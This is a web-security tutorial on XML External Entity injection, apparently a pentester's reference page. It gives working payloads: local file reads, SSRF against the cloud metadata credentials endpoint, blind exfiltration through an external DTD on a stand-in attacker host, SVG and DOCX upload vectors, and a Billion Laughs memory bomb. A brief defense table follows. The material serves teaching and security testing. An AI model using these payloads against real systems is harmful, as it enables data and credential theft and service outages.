XML External Entity (XXE) Injection
Questi contenuti non sono ancora disponibili nella tua lingua.
XXE injection exploits the external entity feature of XML parsers. When an application processes XML input without disabling external entities, an attacker can define entities that load local files, make HTTP requests to internal services, or exfiltrate data out-of-band.
| Impact | Description |
|---|---|
| File read | file:///etc/passwd, config files, source code, .env |
| SSRF | Reach internal services, cloud metadata |
| Data exfiltration | Blind extraction via DNS/HTTP to attacker server |
| Denial of Service | Billion Laughs (entity expansion bomb) |
How it works
Section titled “How it works”Normal XML processing
Section titled “Normal XML processing”<?xml version="1.0" encoding="UTF-8"?><stock> <productId>381</productId></stock>The server reads 381, checks stock, returns a result.
With an external entity
Section titled “With an external entity”<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><stock> <productId>&xxe;</productId></stock>The parser resolves &xxe; by loading /etc/passwd and substituting its contents into the
element. The server returns the file content in the response.
Three types of XXE
Section titled “Three types of XXE”1. Classic XXE - file read
Section titled “1. Classic XXE - file read”The entity value is reflected in the response.
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><stock> <productId>&xxe;</productId></stock>If the response contains root:x:0:0:root:/root:/bin/bash - the file was read.
2. XXE to SSRF
Section titled “2. XXE to SSRF”Replace the file URI with an HTTP URL to reach internal services:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]><stock> <productId>&xxe;</productId></stock>3. Blind XXE - out-of-band exfiltration
Section titled “3. Blind XXE - out-of-band exfiltration”The entity value is not reflected in the response. Use an external server to receive the data.
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://YOUR-ID.oastify.com/evil.dtd"> %dtd;]><stock> <productId>&send;</productId></stock>The external DTD (evil.dtd) hosted on the attacker server:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://YOUR-ID.oastify.com/?data=%file;'>">%all;The parser loads the DTD, resolves %file; with the file content, and makes a request to the
attacker server with the data in the URL.
Error-based exfiltration (blind XXE)
Section titled “Error-based exfiltration (blind XXE)”When OOB HTTP exfiltration fails (file has newlines, firewall blocks outbound), force a parsing error that leaks the file content in the error message:
<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "http://attacker.example/evil.dtd"> %dtd;]><stock><productId>1</productId></stock>The parser tries to load file:///nonexistent/root:x:0:0:... and returns an error containing the
file content. This works even when the file has newlines, because the error message is not a URL.
PHP filter wrapper (base64 bypass)
Section titled “PHP filter wrapper (base64 bypass)”On PHP targets, use php://filter to base64-encode the file, avoiding parsing issues with XML
special characters:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]><stock><productId>&xxe;</productId></stock>The response contains the base64-encoded file. Decode it:
echo "cm9vdDp4OjA..." | base64 -dThis also works for reading PHP source code that would otherwise be executed:
php://filter/convert.base64-encode/resource=index.phpRecognizing XML input
Section titled “Recognizing XML input”Obvious signs
Section titled “Obvious signs”Content-Type: application/xmlortext/xml- XML tags visible in the POST body
- SOAP requests (SOAP uses XML)
Less obvious
Section titled “Less obvious”| Vector | What to try |
|---|---|
| Form data | Change Content-Type to application/xml and send XML body |
| File upload (SVG) | SVG is XML - embed XXE in the SVG |
| File upload (DOCX) | DOCX is a ZIP of XML files - inject XXE in internal XML |
| JSON API | Some parsers accept XML if you change the Content-Type |
Testing methodology
Section titled “Testing methodology”Phase 0 - Find XML endpoints
Section titled “Phase 0 - Find XML endpoints”Browse with Burp. In HTTP History search for Content-Type: application/xml, text/xml, or
visible XML tags. Also check file upload endpoints (SVG, DOCX).
Test 1 - Baseline
Section titled “Test 1 - Baseline”Send the original XML request in Repeater. Confirm it processes normally.
Test 2 - File read (/etc/passwd)
Section titled “Test 2 - File read (/etc/passwd)”<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>Inject &xxe; in a reflected element. If the file content appears in the response - XXE confirmed.
Test 3 - Try other files
Section titled “Test 3 - Try other files”If /etc/passwd does not work:
| OS | Files to try |
|---|---|
| Linux | /etc/hosts, /etc/hostname, /proc/version, /var/www/html/.env |
| Windows | C:\Windows\win.ini, C:\boot.ini, C:\Windows\System32\drivers\etc\hosts |
Test 4 - SSRF via XXE
Section titled “Test 4 - SSRF via XXE”<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://localhost:8080/admin"> ]>Check if the response contains content from the internal service.
Test 5 - Blind XXE with Collaborator
Section titled “Test 5 - Blind XXE with Collaborator”If no entity value is reflected:
- Generate a Collaborator domain
- Use the OOB exfiltration payload above
- Check Collaborator for DNS/HTTP interactions
Payload reference
Section titled “Payload reference”SVG file upload
Section titled “SVG file upload”<?xml version="1.0" standalone="yes"?><!DOCTYPE cat [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><svg xmlns="http://www.w3.org/2000/svg"> <text x="0" y="15" fill="#000">&xxe;</text></svg>Upload as an image. If the application renders or processes the SVG server-side, the file is read.
XInclude (when you cannot control the DOCTYPE)
Section titled “XInclude (when you cannot control the DOCTYPE)”Some applications embed user input inside an existing XML document. You cannot add a DOCTYPE,
but you can use XInclude:
<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo>Protocols to try
Section titled “Protocols to try”| Protocol | Use |
|---|---|
file:/// |
Local file read |
http:// / https:// |
SSRF, internal service access |
gopher:// |
Protocol tunneling (if supported) |
ftp:// |
FTP-based exfiltration |
php://filter/convert.base64-encode/resource= |
PHP only - base64-encode files to avoid parsing issues |
expect:// |
PHP only - command execution (if expect module loaded) |
Billion Laughs (entity expansion DoS)
Section titled “Billion Laughs (entity expansion DoS)”A recursive entity expansion that consumes all available memory:
<?xml version="1.0"?><!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><data>&lol9;</data>The 3-byte string lol expands to ~3 GB in memory. The input file is tiny but the parsed output is
enormous. This crashes or hangs the parser.
XXE via file upload: DOCX and XLSX
Section titled “XXE via file upload: DOCX and XLSX”DOCX and XLSX files are ZIP archives containing XML files. If the server processes them (parses content, extracts text, generates previews), you can inject XXE into the internal XML.
Steps:
- Create a normal
.docxfile - Rename it to
.zipand extract - Edit
word/document.xml(or[Content_Types].xml) to inject an external entity:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"> <w:body><w:p><w:r><w:t>&xxe;</w:t></w:r></w:p></w:body></w:document>- Re-zip and rename back to
.docx - Upload
If the response or the processed document contains /etc/passwd content, the parser resolved the
entity.
False positives
Section titled “False positives”| Response | Meaning |
|---|---|
DOCTYPE not allowed / External entities disabled |
Parser hardened - not vulnerable |
| Same response with and without entity | Entity ignored - try blind XXE |
| XML parsing error | WAF may be blocking - try encoding bypasses |
| Entity resolves but value is empty | File may not exist - try other paths |
Defense
Section titled “Defense”| Measure | How |
|---|---|
| Disable external entities | factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) (Java) |
| Disable DTDs entirely | Strongest option - blocks all entity-based attacks |
| Use a safe XML library | Modern libraries disable external entities by default |
| Input validation | Reject DOCTYPE declarations in user-supplied XML |
| Least privilege | XML parser process should not have read access to sensitive files |
References
Section titled “References”952 parole, circa 5 min di lettura